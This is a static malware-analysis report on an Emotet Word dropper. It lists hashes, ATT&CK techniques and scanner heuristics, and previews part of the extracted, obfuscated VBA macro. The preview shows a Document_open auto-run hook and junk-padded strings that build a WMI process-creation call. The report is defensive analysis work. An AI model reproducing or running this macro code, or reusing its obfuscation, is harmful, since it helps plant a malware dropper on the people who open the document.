Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 98b026b63dcd91d4…

MALICIOUS

Office (OLE)

191.3 KB Created: 2020-09-03 13:25:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: b33e5b6a87c013b710c26d0ad4b4b304 SHA-1: 73aa2b1be0dca6c3b1d013b24dde60ba940cfc8a SHA-256: 98b026b63dcd91d4d9685c15528f7326b36791bb7269d516e9fa9eb84145ffff
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is identified as malicious by ClamAV with the signature 'Doc.Dropper.EmotetWinMob0920-9636503-0', indicating a known Emotet variant. High-severity heuristics confirm the presence of VBA macros, specifically a 'Document_Open' macro that uses 'CreateObject' for execution. The obfuscated VBA script, while difficult to fully deobfuscate, is designed to run automatically and likely initiates a download process, consistent with Emotet's typical behavior of fetching additional malicious components.

Heuristics 6

  • ClamAV: Doc.Dropper.EmotetWinMob0920-9636503-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetWinMob0920-9636503-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12341 bytes
SHA-256: 454a64dfdec189eb4a0c27c2f096d9ae6a098eec1b1ebd5487d7f61a87ca1bcb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Fwfzlqrgpfwf8sz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Call Ce5uv_3xcek.E37jze1wig829c2l
End Sub


Attribute VB_Name = "Ce5uv_3xcek"
Attribute VB_Base = "0{1B42E948-574B-4C5C-950B-8F4E69ABBB75}{D883B6C5-B376-4AD0-AB6A-780093986BE4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function E37jze1wig829c2l()
   On Error Resume Next
L7yelkqyd2z4emr8 = nkqlw + Hlkhlk * Ny825lyl96fydxn0 / CLng(bdwesa) / jkhLlsad / CLng(mjnp4 * ckFZ) - AEVNCSp * CDate(ecxz) * MPyo / Log(I6fzr9gy2sv0soar)
Vnj_40yzq2ws = Chr(6 - Atn(lhlkKdsf) / JKGjc8 / Tan(KGJsad / nnbJK))
Dte786ut_ugw0 = Cxmgye28f8c
Khd2hbdktpn7gm = (dddwe / Zyfqyumhcb12cc)
J6jh54xki8r = CDate(TDlq20)
Qhv4kt8vyn154 = JHKLnlk - Sin(klhNKLBLK) - qwj3bjk - CBool(asmnk3b) / 334 + Fix(ashuq)
Hv7nwphklby = 105
   On Error Resume Next
L7yelkqyd2z4emr8 = nkqlw + Hlkhlk * Ny825lyl96fydxn0 / CLng(bdwesa) / jkhLlsad / CLng(mjnp4 * ckFZ) - AEVNCSp * CDate(ecxz) * MPyo / Log(I6fzr9gy2sv0soar)
Vnj_40yzq2ws = Chr(6 - Atn(lhlkKdsf) / JKGjc8 / Tan(KGJsad / nnbJK))
Dte786ut_ugw0 = Cxmgye28f8c
Khd2hbdktpn7gm = (dddwe / Zyfqyumhcb12cc)
J6jh54xki8r = CDate(TDlq20)
Qhv4kt8vyn154 = JHKLnlk - Sin(klhNKLBLK) - qwj3bjk - CBool(asmnk3b) / 334 + Fix(ashuq)
Unht9pmqo6e8tr_icj = ChrW$(Hv7nwphklby + (10))
   On Error Resume Next
L7yelkqyd2z4emr8 = nkqlw + Hlkhlk * Ny825lyl96fydxn0 / CLng(bdwesa) / jkhLlsad / CLng(mjnp4 * ckFZ) - AEVNCSp * CDate(ecxz) * MPyo / Log(I6fzr9gy2sv0soar)
Vnj_40yzq2ws = Chr(6 - Atn(lhlkKdsf) / JKGjc8 / Tan(KGJsad / nnbJK))
Dte786ut_ugw0 = Cxmgye28f8c
Khd2hbdktpn7gm = (dddwe / Zyfqyumhcb12cc)
J6jh54xki8r = CDate(TDlq20)
Qhv4kt8vyn154 = JHKLnlk - Sin(klhNKLBLK) - qwj3bjk - CBool(asmnk3b) / 334 + Fix(ashuq)
Amvdzaonibaly = "26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]w26{} 328[]9 gv]bhja[]i26{} 328[]9 gv]bhja[]nm26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]gm26{} 328[]9 gv]bhja[]t26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]" + Unht9pmqo6e8tr_icj + "26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]:26{} 328[]9 gv]bhja[]w26{} 328[]9 gv]bhja[]in26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]326{} 328[]9 gv]bhja[]226{} 328[]9 gv]bhja[]_26{} 328[]9 gv]bhja[]" + Ce5uv_3xcek.Dfibhg6afe0 + "26{} 328[]9 gv]bhja[]ro26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]ce26{} 328[]9 gv]bhja[]s26{} 328[]9 gv]bhja[]s26{} 328[]9 gv]bhja[]"
   On Error Resume Next
L7yelkqyd2z4emr8 = nkqlw + Hlkhlk * Ny825lyl96fydxn0 / CLng(bdwesa) / jkhLlsad / CLng(mjnp4 * ckFZ) - AEVNCSp * CDate(ecxz) * MPyo / Log(I6fzr9gy2sv0soar)
Vnj_40yzq2ws = Chr(6 - Atn(lhlkKdsf) / JKGjc8 / Tan(KGJsad / nnbJK))
Dte786ut_ugw0 = Cxmgye28f8c
Khd2hbdktpn7gm = (dddwe / Zyfqyumhcb12cc)
J6jh54xki8r = CDate(TDlq20)
Qhv4kt8vyn154 = JHKLnlk - Sin(klhNKLBLK) - qwj3bjk - CBool(asmnk3b) / 334 + Fix(ashuq)
Tj633j3w0b6 = T2flwx_v8te(Amvdzaonibaly)
   On Error Resume Next
L7yelkqyd2z4emr8 = nkqlw + Hlkhlk * Ny825lyl96fydxn0 / CLng(bdwesa) / jkhLlsad / CLng(mjnp4 * ckFZ) - AEVNCSp * CDate(ecxz) * MPyo / Log(I6fzr9gy2sv0soar)
Vnj_40yzq2ws = Chr(6 - Atn(lhlkKdsf) / JKGjc8 / Tan(KGJsad / nnbJK))
Dte786ut_ugw0 = Cxmgye28f8c
Khd2hbdktpn7gm = (dddwe / Zyfqyumhcb12cc)
J6jh54xki8r = CDate(TDlq20)
Qhv4kt8vyn154 = JHKLnlk - Sin(klhNKLBLK) - qwj3bjk - CBool(asmnk3b) / 334 + Fix(ashuq)
   On Error Resume Next
L7yelkqyd2z4emr8 = nkqlw + Hlkhlk * Ny825lyl96fydxn0 / CLng(bdwesa) / jkhLlsad / CLng(mjnp4 * ckFZ) - AEVNCSp * CDate(ecxz) * MPyo / Log(I6fzr9gy2sv0soar)
Vnj_40yzq2ws = Chr(6 - Atn(lhlkKdsf) / JKGjc8 / Tan(KGJsad / nnbJK))
Dte786ut_ugw0 = Cxmgye28f8c
Khd2hbdktpn7gm = (dddwe / Zyfqyumhcb12cc)
J6jh54xki8r = CDate(TDlq20)
Qhv4kt8vyn154 = JHKLnlk - Sin(klhNKLBLK) - qwj3bjk - CBool(asmnk3b) / 334 + Fix(ashuq)
Irr40q
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.